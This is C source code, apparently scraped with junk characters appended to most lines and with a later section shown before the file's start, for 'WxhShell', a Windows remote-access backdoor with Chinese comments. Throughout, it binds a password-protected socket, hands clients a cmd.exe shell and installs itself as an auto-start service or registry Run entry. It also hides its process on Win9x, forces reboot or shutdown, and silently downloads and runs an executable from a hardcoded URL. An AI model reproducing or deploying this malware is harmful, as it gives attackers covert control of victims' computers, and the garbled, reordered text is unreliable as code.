    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aiCFH_H4;L  
    if(Boot(SHUTDOWN)) -l+P8:fL~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v"u^M-_  
    else { ][PzgzG  
    closesocket(wsh); ~o3Hdd_#}N  
    ExitThread(0); C}g9'jY  
    } XdgUqQb}  
    break; Hq&"+1F  
    } \~rlgxd  
  // 获取shell "+"{+k5t  
  case 's': { "GT4s?6O  
    CmdShell(wsh); @!=\R^#p  
    closesocket(wsh); 3ucP(Ex@tg  
    ExitThread(0); CCijf]+  
    break; 6w3R'\9  
  } pz^<\  
  // 退出 XP[uF ;w  
  case 'x': { K5Wg"^AHY/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I lR\  #  
    CloseIt(wsh); ?gGt2O1J  
    break; yQS+P8x&|]  
    } yWPIIWHx!  
  // 离开 EER`?Sa(  
  case 'q': { w [>;a.$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _S0+;9fhY  
    closesocket(wsh); ajhEL?%D  
    WSACleanup(); z:Sigo_z[  
    exit(1); H2gj=krK  
    break; QA!_} N4n  
        } s,VXc/  
  } |8_JY2 R  
  } UAS@R`?cI  
Y+%sBqo @  
  // 提示信息 < O*6 T%;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;d.K_P  
} u?ek|%Ok  
  } 8Chj w wB  
)-rW&"{U  
  return; H14Ic.&  
} Huw\&E  
q=HHNjj8  
// shell模块句柄 +H/jK@  
int CmdShell(SOCKET sock) A?5E2T1L%.  
{ 4S0>-?{  
STARTUPINFO si; F7m?xy  
ZeroMemory(&si,sizeof(si)); ge3sU5iZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $>M<j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f}c\_}(  
PROCESS_INFORMATION ProcessInfo; txql 2  
char cmdline[]="cmd"; HY;o ^drd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mwv(j_  
  return 0; }S-DB#6  
} wbyE;W  
'&O/g<Z}q  
// 自身启动模式 ^(}585b  
int StartFromService(void) @*N )i?>  
{ w JwX[\  
typedef struct $Kj&)&M  
{ %b.UPS@I  
  DWORD ExitStatus; fBtm%f  
  DWORD PebBaseAddress; 8{U-m0v  
  DWORD AffinityMask; FxG7Pk+=  
  DWORD BasePriority; 6Z?j AXGSq  
  ULONG UniqueProcessId; Z!xVgM{  
  ULONG InheritedFromUniqueProcessId; |xr%6 [Ff  
}   PROCESS_BASIC_INFORMATION; n@C~ev@%S  
W) j|rz.  
PROCNTQSIP NtQueryInformationProcess; ~Aad9yyi  
_STB$cZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [ //R~i?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DQ.v+C,  
/(I*,.d  
  HANDLE             hProcess; 8qi+IGRg  
  PROCESS_BASIC_INFORMATION pbi; x Ha=3n  
!%<^K.wG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C) QKPT  
  if(NULL == hInst ) return 0; EY`H}S!xy  
g_*T?;!.U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8?t"C_>*e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E{xVc;t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XALI<ZY  
*MN HT`Y^o  
  if (!NtQueryInformationProcess) return 0; a>4uiFiv  
2g*J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >>[/UFC)n  
  if(!hProcess) return 0; h.rD}N\L  
<BWkUZz\P|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kpwt]]e*  
fa* Cpt:  
  CloseHandle(hProcess); "o!{51!'  
/ il@`w;G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xieP "6  
if(hProcess==NULL) return 0; OkAK  
iVtl72O  
HMODULE hMod; 2s*#u<I  
char procName[255]; ~pk(L[G  
unsigned long cbNeeded; }y%`)lz~;  
:H6FPV78  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HC {XX>F^  
+^aFs S  
  CloseHandle(hProcess); $VG*q  
<[aDo%,A  
if(strstr(procName,"services")) return 1; // 以服务启动 qpoV]#iW  
%x; x_  
  return 0; // 注册表启动 =M6[URZ  
} r#PMy$7L  
_eSd nHWx  
// 主模块 87!C@XlK_  
int StartWxhshell(LPSTR lpCmdLine) U8#xgz@  
{ :qhpL-ER  
  SOCKET wsl; 4:3rc7_ 1  
BOOL val=TRUE; Z.L?1V8Q1  
  int port=0; >$677  
  struct sockaddr_in door; >t,M  
%1 KbS [  
  if(wscfg.ws_autoins) Install(); .%EL\2  
Rx07trfN  
port=atoi(lpCmdLine); =*BIB5  
e;bYaM4 UX  
if(port<=0) port=wscfg.ws_port; Mpue   
Mvj;ic6iK  
  WSADATA data; C F!Sa6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MmPU7Nl%X  
_3iHkQr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =-cwXo{Q.O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zo{/'BnU  
  door.sin_family = AF_INET; EqiFy"H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O-vGyNxP|  
  door.sin_port = htons(port); *YTo{~  
=d 2r6%v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MfF~8  
closesocket(wsl); :pX`?Ew`g  
return 1; _i_Q?w`  
} ->z54 T  
-Ue$T{;RoH  
  if(listen(wsl,2) == INVALID_SOCKET) { \mM<\-'p  
closesocket(wsl); |rw%FM{F  
return 1; N(6|yZ<J3M  
} /gcEw!JS  
  Wxhshell(wsl); !2\ r LN  
  WSACleanup(); gyHHoZc3  
?,P3)&3g  
return 0; <Tw>|cFT  
})xp%<`  
} p=GWq(S6  
~\p]~qQ\K  
// 以NT服务方式启动 ]  H~4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b2(RpY2Y  
{ .9*wY0:  
DWORD   status = 0; wZT%Ee\D%  
  DWORD   specificError = 0xfffffff; ]G.%Ty  
',3HlOJ:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gwrYLZNGI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p;)"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XLk<*0t p  
  serviceStatus.dwWin32ExitCode     = 0; 2I3h M D0  
  serviceStatus.dwServiceSpecificExitCode = 0; \?>Hu v  
  serviceStatus.dwCheckPoint       = 0; @53k8  
  serviceStatus.dwWaitHint       = 0; 1Q;}z Hd  
U/ V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {%)s.5Pfw  
  if (hServiceStatusHandle==0) return; CHd9l]Rbe  
I3 =#@2  
status = GetLastError(); 5IOFSy`  
  if (status!=NO_ERROR) #?MY&hdU9  
{ JTqDr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _iKq~\v2  
    serviceStatus.dwCheckPoint       = 0; HD,xY4q&N  
    serviceStatus.dwWaitHint       = 0; .Ig+Dj{)  
    serviceStatus.dwWin32ExitCode     = status; +h^jC9,m~{  
    serviceStatus.dwServiceSpecificExitCode = specificError; mE O \r|A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8,D 2^Gg  
    return; (@X~VACT  
  } Wc3kO'J  
fy@avo9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dih6mTP{  
  serviceStatus.dwCheckPoint       = 0; @WH@^u  
  serviceStatus.dwWaitHint       = 0; "xcX' F^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N#V.1<Y  
} m^'uipa\  
lN,/3\B  
// 处理NT服务事件,比如:启动、停止 H|ozDA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =4uSFK_L  
{ AIb2k  
switch(fdwControl) xX3'bsN  
{ OJT1d-5p  
case SERVICE_CONTROL_STOP: YzosZ! L!<  
  serviceStatus.dwWin32ExitCode = 0; dpQG[vXe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J{[n?/A{  
  serviceStatus.dwCheckPoint   = 0; 7e7 M@8+4  
  serviceStatus.dwWaitHint     = 0; =/<LSeLxH  
  { T@}|zDC#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .)1_Ew  
  } hPq%L c  
  return; kdz=ltw  
case SERVICE_CONTROL_PAUSE: -?]W*f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #QCphhG  
  break; &1%q"\VI  
case SERVICE_CONTROL_CONTINUE: zX5!vaEv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [' z[  
  break; 7\_o.(g#-  
case SERVICE_CONTROL_INTERROGATE: 4tg<iH{  
  break; XxHx:mi  
}; w6`9fX6{h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5tQ1fJze  
} PcB_oG g  
f >BWG`  
// 标准应用程序主函数 F4=}}k U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |+  N5z  
{ )9,  
ys_`e  
// 获取操作系统版本 B1]bRxwn?  
OsIsNt=GetOsVer();  zYXV;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f}guv~K  
=U|N=/y#hJ  
  // 从命令行安装 1+b{}d  
  if(strpbrk(lpCmdLine,"iI")) Install(); '|;X0fD  
R.7:3h  
  // 下载执行文件 [m^+,%m5]  
if(wscfg.ws_downexe) { \~P=U;l=pO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (}.@b|s  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y*_)h\f  
} <2C7<7{7  
A!1;}x  
if(!OsIsNt) { |t$Ma'P  
// 如果时win9x,隐藏进程并且设置为注册表启动 !4]9!<.k  
HideProc(); kyR*D1N&)  
StartWxhshell(lpCmdLine); jYNrD"n  
} CctJFcEZ  
else kw2T>  
  if(StartFromService()) &A#~)i5gF  
  // 以服务方式启动 rD>*j~_+P  
  StartServiceCtrlDispatcher(DispatchTable); !w BJ,&E  
else F~ Lx|)0M  
  // 普通方式启动 (EPsTox  
  StartWxhshell(lpCmdLine); fs/*V~@  
j }b\Z9)!  
return 0; QMv@:Eo  
} lRh9j l  
3D?s L!W  
%s19KGpA  
z;@*r}H  
=========================================== 9Fn\FYUq  
2Sm }On  
;#w3{ NB  
.`?@%{  
IK*07h/!  
vn/.}GkpU  
" @cU&n6C@  
8enEA^  
#include <stdio.h> :[;hu}!&  
#include <string.h> hY`\&@  
#include <windows.h> ybp -$e  
#include <winsock2.h> <w3!!+oK"  
#include <winsvc.h> Z"unF9`"1  
#include <urlmon.h> YBh'EL}P  
r'gOVi4t1*  
#pragma comment (lib, "Ws2_32.lib") {v3P9s(  
#pragma comment (lib, "urlmon.lib") yDNOtC|  
g+X}c/" .  
#define MAX_USER   100 // 最大客户端连接数 k4 F"'N   
#define BUF_SOCK   200 // sock buffer Cu6%h>@K$  
#define KEY_BUFF   255 // 输入 buffer 36US5ef  
$1ndKB8)`J  
#define REBOOT     0   // 重启 \W1/p`  
#define SHUTDOWN   1   // 关机 [9:9Ql_h  
-*.-9B~u  
#define DEF_PORT   5000 // 监听端口 :6$>_m=i  
6;b~Ht  
#define REG_LEN     16   // 注册表键长度 ]l8^KX'  
#define SVC_LEN     80   // NT服务名长度 kQ]$%Lk[  
,@5I:X!rR  
// 从dll定义API v+9 9 -.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (5\N B0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tDUwy^j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O$4yAaD X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nB .G  
[=~pe|8:  
// wxhshell配置信息 o6$4/I  
struct WSCFG { sH\5/'?  
  int ws_port;         // 监听端口 \l~*PG2  
  char ws_passstr[REG_LEN]; // 口令 V^;jJ']  
  int ws_autoins;       // 安装标记, 1=yes 0=no s=CK~+,/  
  char ws_regname[REG_LEN]; // 注册表键名 hpU2  
  char ws_svcname[REG_LEN]; // 服务名 $MJm*6h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5h;+Ky!I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~Jf{4*>y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k1Q ?'<`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j&k6O1_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0Fu~%~#E$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 + nF'a(  
G8Du~h!!U  
}; oY, %Iq  
.YuJJJv  
// default Wxhshell configuration "Wx]RN:  
struct WSCFG wscfg={DEF_PORT, ~g.$|^,.O/  
    "xuhuanlingzhe", 5xL~`-IA&v  
    1, 0Lb4'25.  
    "Wxhshell", Jec'`,Y  
    "Wxhshell", ({o'd=nO  
            "WxhShell Service", l#n,Fg3  
    "Wrsky Windows CmdShell Service", R4-~jgzx  
    "Please Input Your Password: ", tsk)zP,<  
  1, c*~]zR>s!  
  "http://www.wrsky.com/wxhshell.exe", 13Lr }M&  
  "Wxhshell.exe" %iw3oh&Fkm  
    }; 9?k_y ZV  
}u1O#L}F5  
// 消息定义模块 Vx-7\NB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =G]@+e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t45Z@hmcW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0bo/XUpi  
char *msg_ws_ext="\n\rExit."; }}<z/zN&^  
char *msg_ws_end="\n\rQuit."; c/ uNM  
char *msg_ws_boot="\n\rReboot..."; x#:| }pR  
char *msg_ws_poff="\n\rShutdown..."; %;D.vKoh  
char *msg_ws_down="\n\rSave to "; xMBaVlEN  
- |gmQG  
char *msg_ws_err="\n\rErr!"; LW(6$hpPp  
char *msg_ws_ok="\n\rOK!"; !kC* g  
k!{p7*0  
char ExeFile[MAX_PATH]; 9YBv|A  
int nUser = 0; aFLO{tr`  
HANDLE handles[MAX_USER]; HJY2#lSha6  
int OsIsNt; CJhL)0Cs  
1x,tu}<u^  
SERVICE_STATUS       serviceStatus; +sJrllrE(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (P`3 @H  
+U@<\kIF  
// 函数声明 ZzX~&95G  
int Install(void); n?c]M  
int Uninstall(void); twx[ s$O'b  
int DownloadFile(char *sURL, SOCKET wsh); & GreN  
int Boot(int flag); @/1w4'M  
void HideProc(void); h?pkE  
int GetOsVer(void); D:K4H+ch  
int Wxhshell(SOCKET wsl); nWHa.H#  
void TalkWithClient(void *cs); Km^&<3ch#  
int CmdShell(SOCKET sock); ,\@O(; mF  
int StartFromService(void); c ;'[W60  
int StartWxhshell(LPSTR lpCmdLine); h5K$mA5  
CoA6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8}(]]ayl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oqeSG.1  
I&YSQK:b  
// 数据结构和表定义 :GJ &_YHf  
SERVICE_TABLE_ENTRY DispatchTable[] = & j+oJasI  
{ M8TSt\  
{wscfg.ws_svcname, NTServiceMain}, -ne Kuj  
{NULL, NULL} 95V@X ^Ee  
}; Zcc9e 03  
nakYn  
// 自我安装 3@]SKfoo1  
int Install(void) ;{[.Zu  
{ y.Z?LCd<  
  char svExeFile[MAX_PATH]; } GiHjzsR  
  HKEY key; 42qYg(tZ  
  strcpy(svExeFile,ExeFile); Ggb5K8D*  
<=,6p>Eo[  
// 如果是win9x系统,修改注册表设为自启动 -uy`!A  
if(!OsIsNt) { pf7it5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [#sz WNfU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cSm%s  
  RegCloseKey(key); B9J&=6`)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;"m ,:5%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xp}Yw"7  
  RegCloseKey(key); jfqopiSi  
  return 0; ~appY Av  
    } /QJ?bD#a  
  } ~B(6+~%  
} f^.AD-  
else { EE W_gFn  
jNC4_q&  
// 如果是NT以上系统,安装为系统服务 :*2ud(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (!zy{;g|  
if (schSCManager!=0) NW&b&o  
{ \(vY%DL1:  
  SC_HANDLE schService = CreateService v 7x:dcV  
  ( N~xLu8,  
  schSCManager, }:~x7|~s:  
  wscfg.ws_svcname, L:'J Bhg  
  wscfg.ws_svcdisp, 5hy""i  
  SERVICE_ALL_ACCESS, _:"<[ >9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,xxR\}  
  SERVICE_AUTO_START, 9\DQ>V TQ  
  SERVICE_ERROR_NORMAL, `9b7>Nn<  
  svExeFile, 0p\@!Z H  
  NULL, I2nhqJy^  
  NULL, I'0@viF"Nx  
  NULL, qC?:*CXH  
  NULL, b 'pOJS  
  NULL GF^071]G  
  ); 6}oXP_0U  
  if (schService!=0) ,9o"43D:a|  
  { dB5b@9*  
  CloseServiceHandle(schService); ok4@N @  
  CloseServiceHandle(schSCManager); 1{r)L{]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }7.PH'.8  
  strcat(svExeFile,wscfg.ws_svcname); ;y2/-tL?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {7/0< N G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zc`BiLzrIG  
  RegCloseKey(key); GHeVp/u  
  return 0; se>MQM5 )  
    } .8G@%p{,  
  } ,5*eX  
  CloseServiceHandle(schSCManager); L~NbdaO  
} }I2@%tt?  
} fOMW"myQ  
9b*nLyYVz  
return 1; Z KckAz\#  
} o$Z6zmxO  
b^$|Nz;  
// 自我卸载 Os1>kwC  
int Uninstall(void) n0e1k.A  
{ ]h5Yg/sms  
  HKEY key; 6 jn3`D  
jWE :ek*  
if(!OsIsNt) { TTTPxO,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?C A,  
  RegDeleteValue(key,wscfg.ws_regname); 8Bjib&im  
  RegCloseKey(key); 9*1,!%]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M L>[^F  
  RegDeleteValue(key,wscfg.ws_regname); W!>.$4Q9  
  RegCloseKey(key); k|H:  
  return 0; 9c6gkt9eB  
  }  #c66)  
} |YY_^C`"-  
} ]f({`&K5  
else { UaB @  
0ok-IHE<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vTx2E6  
if (schSCManager!=0) k-{<=>uM  
{ -xA2pYz"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T]=r Co  
  if (schService!=0) +lMX{es\O  
  { HEM9E&rL  
  if(DeleteService(schService)!=0) { ssN6M./6  
  CloseServiceHandle(schService); ktpaU,%  
  CloseServiceHandle(schSCManager); ?pB>0b~3-  
  return 0; `.Qi?* ^  
  } F ;2w1S^  
  CloseServiceHandle(schService); I\$X/t +dH  
  } cbT7CG  
  CloseServiceHandle(schSCManager); Tap.5jHL  
} h9G RI  
} MfWyc_  
T r1?620  
return 1; d5gR"ja  
} {*I``T_+  
xe` </  
// 从指定url下载文件 l.NEkAYPmH  
int DownloadFile(char *sURL, SOCKET wsh) xM&Wgei]10  
{ 8;+B*+%@n  
  HRESULT hr; 'GS"8w~j  
char seps[]= "/"; T, )__h  
char *token; 428>BQA  
char *file; |='z{WS  
char myURL[MAX_PATH]; z-.+x3&o @  
char myFILE[MAX_PATH]; 6U R2IxbE  
[c|]f_ZdK  
strcpy(myURL,sURL); &b fA.& `  
  token=strtok(myURL,seps); =t H:,SH  
  while(token!=NULL) 5?F__Hx*2  
  { Bx4w)9+3  
    file=token; Tw;3_Lj  
  token=strtok(NULL,seps); ([m mPyp>L  
  } Lja>8m  
xY^ %&n  
GetCurrentDirectory(MAX_PATH,myFILE); 75/(??2  
strcat(myFILE, "\\"); f m)pulz  
strcat(myFILE, file); 'g m0)r  
  send(wsh,myFILE,strlen(myFILE),0); A"G 1^8wvX  
send(wsh,"...",3,0); Yd=>K HVD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sEGO2xeI  
  if(hr==S_OK) .@@?Pj?)  
return 0; K)DDk9*  
else z;|A(*Y  
return 1; r[b(I@T +  
SfaQvstN  
} $4 S@  
[nrYpb4  
// 系统电源模块 G?;e-OhV  
int Boot(int flag) 3 +G$-ru  
{ bj>v|#r^  
  HANDLE hToken; =pS5uR~  
  TOKEN_PRIVILEGES tkp; fj;y}t1E]  
n O\"HLM  
  if(OsIsNt) { 4;0lvDD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5n9B?T8C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P'Ux%Q+B>  
    tkp.PrivilegeCount = 1; UJ CYs`y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (2^gVz=j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2[O&NdP\Zk  
if(flag==REBOOT) { /2=#t-p+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GycSwQ ,  
  return 0; 3@M|m<_R$  
} { + Zd*)M[  
else { Pa V@aM~3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '+?"iVVo  
  return 0; ZK@N5/H(  
} j/f?"VEr  
  } [d1mL JAR  
  else { hPUYyjXPB  
if(flag==REBOOT) { "NXB$a!:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IDB+%xl#S  
  return 0; 2ZG5<"DQ"  
} D*gFV{ Ws  
else { ;U.hxh;+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d(:8M  
  return 0; 4,CXJ2  
} =WyZX 7@R  
} LE9(fe) fe  
ToXki,  
return 1; 1p/3!1  
} V@ cM|(  
#t: S.A@  
// win9x进程隐藏模块 $m].8?  
void HideProc(void) HUv/ ~^<  
{ C9n?@D;S  
kt["m.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M42 Ssn)  
  if ( hKernel != NULL ) U |Jo{(Y  
  {  @Z\,q's  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ][9%Kl*%@p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JGsx_V1t  
    FreeLibrary(hKernel); clL2k8VS  
  } qB0E_y)a  
J;{N72  
return; $RIecv<e_  
} rvbLyv;~  
@|63K)Xy  
// 获取操作系统版本 BGD8w2  
int GetOsVer(void) ] 2eK  
{ |"/8XA  
  OSVERSIONINFO winfo; jr /pj?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x7:s]<kE  
  GetVersionEx(&winfo); C)@y5. G;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a!< 8\vzg  
  return 1; si`A:14R  
  else 52 fA/sx  
  return 0; Crho=RJPR  
} ZniB]k1  
 -QM: q  
// 客户端句柄模块 #h8Sq~0  
int Wxhshell(SOCKET wsl) aB{vFTD5  
{ )z73-M V"  
  SOCKET wsh; q Gw -tPD<  
  struct sockaddr_in client; g X ]-\  
  DWORD myID; vq^f}id  
+eyc`J  
  while(nUser<MAX_USER) s:/8[(A  
{ 0=* 8  
  int nSize=sizeof(client);  \N!AXD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U(Nu%  
  if(wsh==INVALID_SOCKET) return 1; K9$>Yxe|  
\?0&0;5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #sPHdz'3M  
if(handles[nUser]==0) 9`I _Et  
  closesocket(wsh); +*ZO&yJQ^<  
else w+#C-&z  
  nUser++; a(kg/s  
  } @SJL\{_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XQ9O$ ~q  
)}D'<^=#T  
  return 0; _aFl_\3>  
} rz wF~-m +  
Oiz ,w7LRh  
// 关闭 socket hxVKV?Fl  
void CloseIt(SOCKET wsh) s%C)t6`9  
{ B_nVP  
closesocket(wsh); WN?O'E=2  
nUser--; Hfw q/Is  
ExitThread(0); .S(TxksCz  
} ~P8tUhffK  
T>}5:,N~  
// 客户端请求句柄 L+Xc-uv["p  
void TalkWithClient(void *cs) *1p|5!4c  
{ 5R@  
\6E|pbJ}x  
  SOCKET wsh=(SOCKET)cs; !sDh4jQ`  
  char pwd[SVC_LEN]; J&[@}$N  
  char cmd[KEY_BUFF]; 01r 8$+  
char chr[1]; 8$85^Of  
int i,j; zVXC1u9B  
Ir`eL  
  while (nUser < MAX_USER) { <tF9V Jq  
J pFfzb  
if(wscfg.ws_passstr) { 96 q_ K84K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M m[4yP%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8oUpQcim  
  //ZeroMemory(pwd,KEY_BUFF); .y_/Uwu  
      i=0; R:e<W/P"  
  while(i<SVC_LEN) { hd>aZ"nm1  
q qpgy7  
  // 设置超时 PD&\LbuG  
  fd_set FdRead; u<3HQ.:;  
  struct timeval TimeOut; OMWbZ>jB  
  FD_ZERO(&FdRead); vwjPmOjhS  
  FD_SET(wsh,&FdRead); rai3<_W<  
  TimeOut.tv_sec=8; ROg(U8 N  
  TimeOut.tv_usec=0; 0fb`08,^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u.d).da  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C8[&S&<_<  
&Q;sSIc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); co~Pyj  
  pwd=chr[0]; :=/85\P0SU  
  if(chr[0]==0xd || chr[0]==0xa) { i@P)a'W_  
  pwd=0; < ,Ue 0  
  break; ?o oe'V@  
  } |]J>R  
  i++; l>Z5 uSG  
    } .z)%)PVV  
o7J  
  // 如果是非法用户,关闭 socket PZE0}>z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0Fk5kGD,&K  
} WFO4gB*  
DF1I[b=]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YVYu:}e3)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $}J5xG,}$  
}Mf!-g  
while(1) { BGOuDKz9C  
B^j  
  ZeroMemory(cmd,KEY_BUFF); :"=ez<t  
e\Y*F  
      // 自动支持客户端 telnet标准   $ et0s;GBv  
  j=0; J)`-+}7$v  
  while(j<KEY_BUFF) { f|h|q_<;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :n0vQ5a  
  cmd[j]=chr[0]; bu:S:`  
  if(chr[0]==0xa || chr[0]==0xd) { ln?v j)j  
  cmd[j]=0; ;'5>q&[qbP  
  break; (d(hR0HKE  
  } ;pqg/>W'  
  j++; PJ]];MQ  
    } ZAv,*5&<  
3&u&x(   
  // 下载文件 o_@4Sl8  
  if(strstr(cmd,"http://")) { n#q<`}u,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *pAV2V(!23  
  if(DownloadFile(cmd,wsh)) u+'tfFds&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IPgt|if^  
  else "}pNe"ok  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6^]!gR#B  
  } CjlKMbnBH  
  else { h3bff#<K  
cW i}V  
